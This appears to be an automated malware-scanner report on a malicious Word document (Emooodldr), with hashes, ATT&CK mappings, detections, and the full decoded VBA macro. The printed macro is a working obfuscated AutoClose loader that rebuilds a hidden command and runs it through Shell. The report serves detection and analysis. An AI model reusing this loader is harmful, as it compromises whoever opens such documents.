Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 cdd034e8c27dcaf9…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-02-26
MD5: 359745eae11ef65e0bf88700ea5b94aa SHA-1: 63046f4fdbbd5dac4f06e146fbfcbe87ea0c464c SHA-256: cdd034e8c27dcaf9baad53fa038b5931f2aeb4f313980fd99b5eb7d615df3458
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. The presence of a VBA project, specifically an Auto_Close macro that calls the Shell() function, indicates that the document is designed to execute arbitrary code. The VBA script attempts to construct and execute a command, likely to download and run a secondary payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2151 bytes
SHA-256: 7ef5f4f86a8d16b01d334b3478c580d9b00e85884950e070b5025604d85b4658
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function menhir(amphipods)
  hindustani = Array("w", "C", "e", "s", "p", "o", "8", "a", "D", "k", "m", "K", "E", "F", "T", "", "O", "B", "V", "f", "v", "Q", "h", "x", "9", "d", "y")
  alnager = Array(" ", "t", "d", "i", "h", "e", "k", "s", "x", "m", "U", "j", "b", "?", "O", "n", "w", "u", "/", ":", "p", "q", "=", ".", "a", "c", "o")
  
  burglaries = vbNullString
  
  For Each approof In amphipods
    illuminati = Application.Run("delightless", approof, hindustani)
    If illuminati > -1 Then
    burglaries = alnager(illuminati) + burglaries
    End If
  Next
  
  menhir = StrReverse(burglaries)
  
End Function

Public Function delightless(managua, nonheritable)

  metaphyte = 7625
  salutiferouslyator = -1
  For Each ultradry In nonheritable
    If ultradry = managua Then
     metaphyte = salutiferouslyator
     Exit For
    End If

    salutiferouslyator = salutiferouslyator + 1
    
  Next

  
  If metaphyte = 7625 Then
    metaphyte = -1
  End If


  delightless = metaphyte + 1
End Function




Sub AutoClose()
  amphipods = Array("k", "a", "p", "C", "9", "x", "o", "D", "o", "w", "p", "C", "C", "v", "f", "V", "V", "Q", "O", "e", "s", "y", "9", "", "e", "K", "9", "E", "", "O", "p", "e", "9", "O", "x", "d", "y", "k", "V", "T", "m", "V", "a", "k", "s", "D", "x", "v", "p", "v", "F", "B", "C", "k", "9", "h", "8", "s", "k", "y", "K")
  cheltenham = menhir(amphipods)
  
  Application.Run "grainsickness", (cheltenham)
  
End Sub


Private Sub grainsickness(ameliorative)
   
   hereward = 5011
   fossilizable = True
   
   While fossilizable
     subanun = hereward + 27733
     If subanun - hereward > 313 Then
       endotheliomata = acnida + "ll"
       Call VBA.Shell(ameliorative, vbNormalFocus - 1)
       fossilizable = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: d16bf632bb92c6cc73abd0728afcdc0f3c56d520a3da029d4296ac1ff016944f
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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